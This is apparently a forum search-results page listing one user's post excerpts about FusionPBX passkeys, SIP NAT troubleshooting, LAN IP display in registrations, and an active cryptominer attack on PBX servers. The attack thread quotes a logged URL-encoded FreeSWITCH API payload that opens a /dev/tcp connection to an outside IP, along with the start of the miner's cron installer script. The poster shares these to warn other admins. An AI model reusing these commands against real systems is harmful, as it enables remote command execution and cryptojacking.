Search results

  1. DigitalDaz

    Passkeys for FusionPBX

    That's excellent news :)
  2. DigitalDaz

    Passkeys for FusionPBX

    hmmm.... if it had, I didn't see it, nor in the docs. I can see 2FA using an authenticator app or email
  3. DigitalDaz

    Passkeys for FusionPBX

    All done by claude code, its crazy what AI can do so easily.
  4. DigitalDaz

    Passkeys for FusionPBX

  5. DigitalDaz

    Passkeys for FusionPBX

  6. DigitalDaz

    Passkeys for FusionPBX

    I've added a passkey feature to a new installation I just created, it seems to work perfectly:
  7. DigitalDaz

    Crypto Hacking Attempts going on now!!

    If anyone is interested, this is the cryptominer cronjob that gets installed: #!/bin/sh bg() { _bg_cmd="$1" if command -v setsid >/dev/null 2>&1; then setsid sh -c "$_bg_cmd" >/dev/null 2>&1 & elif command -v nohup >/dev/null 2>&1; then nohup sh -c "$_bg_cmd"...
  8. DigitalDaz

    Crypto Hacking Attempts going on now!!

    What I can see that seems to be the recent discovery is that this api could be used to execute commands on the OS. Even with the auth in place, that would imply a malicious user could do the same. ie sign up for your service and then send the bad message, I think the new freeswitch prevents that...
  9. DigitalDaz

    Crypto Hacking Attempts going on now!!

    Processing text message default->api+system%20command%20-v%20bash%3E/dev/null&&timeout%205%20bash%20-c%20'exec%203%3C%3E/dev/tcp/77.73.70.190/33375;exec%203%3E&-'%202%3E/dev/
  10. DigitalDaz

    Crypto Hacking Attempts going on now!!

    The api IS being used to download the files, if I remember rightly it executes some sort of curl command that pulls down the files, this also changes from time to time in what it does, I'll see if I can find the logs. What the script also does is sets up a cronjob under the user www-data so you...
  11. DigitalDaz

    SOLVED No outgoing calls

    Your issue is NAT anyway. The 32 second thing is a classic tell tale the ACK will not be getting to where it needs to be and I'm guessing you will be getting repeated 200OKs. The recovery on timer expire also indicates this. Are you able to post a pcap of the carrier leg of the call.
  12. DigitalDaz

    SOLVED No outgoing calls

    So is this question about fusionpbx or fspbx? Your post implies fusionpbx but this is the fspbx forum?
  13. DigitalDaz

    LAN/Local IP Address in Status > Registration <SOLVED>

    I don't believe its the nat detection, if the sip registration doesn't send it then its just not there, as mentioned above maybe pbxgeek can confirm, a quick scan of the current code showed that the call-id header wasn't being checked for local ips which in some configurations/algs means the...
  14. DigitalDaz

    LAN/Local IP Address in Status > Registration <SOLVED>

    I understand, as I mentioned, this is not something anywhere in the sip protocol, Mark just discovered it. I personally think it is a bad thing in principle. If you are trying to conceal your LAN infrastructure an IP phone should not be revealing it by putting it in the call-id. I know it is...
  15. DigitalDaz

    LAN/Local IP Address in Status > Registration <SOLVED>

    It is NOT the same as FusionPBX and I'm not sure why you thought it would be. My understanding is most has been rewritten. It doesn't look like fspbx does look at the call-id field to try and get the ip but as I mentioned above, this is completely non-standard and just done by some phones...
  16. DigitalDaz

    LAN/Local IP Address in Status > Registration <SOLVED>

    Actually, I just got claude to look through the fusionpbx registrations.php Here's how the lan-ip field gets determined, in app/registrations/resources/classes/registrations.php:237-261. The logic is a chain of fallbacks, applied per registration row pulled from FreeSWITCH's sofia status...
  17. DigitalDaz

    LAN/Local IP Address in Status > Registration <SOLVED>

    Al lot of this has nothing at all to do with freeswitch/fusionpbx/fspbx, etc Let me give you an example, I've changed sensitive information on this one it is shown as just TCP, I guess that is because freeswitch doesn't know about the callid: REGISTER sip:abc.xxx.com:5060 SIP/2.0 Via...
  18. DigitalDaz

    What's the one PBX "best practice" you've quietly stopped following?

    I've been in this for over 15 years now and have never seen any 'best practice' docs anywhere.
  19. DigitalDaz

    Suggestion for provisioning

    I noticed you have been doing some provisioning work recently, eg the RPS integration and it made me recall an idea I have had for some time that I think enhances security further. I know that the would be hackers are constantly trying to obtain thos config files. In a job I had a few years...
  20. DigitalDaz

    DjangoPBX cluster operation

    @babak Good to see you again, I have been worried about you, I haven't seen you on IRC :)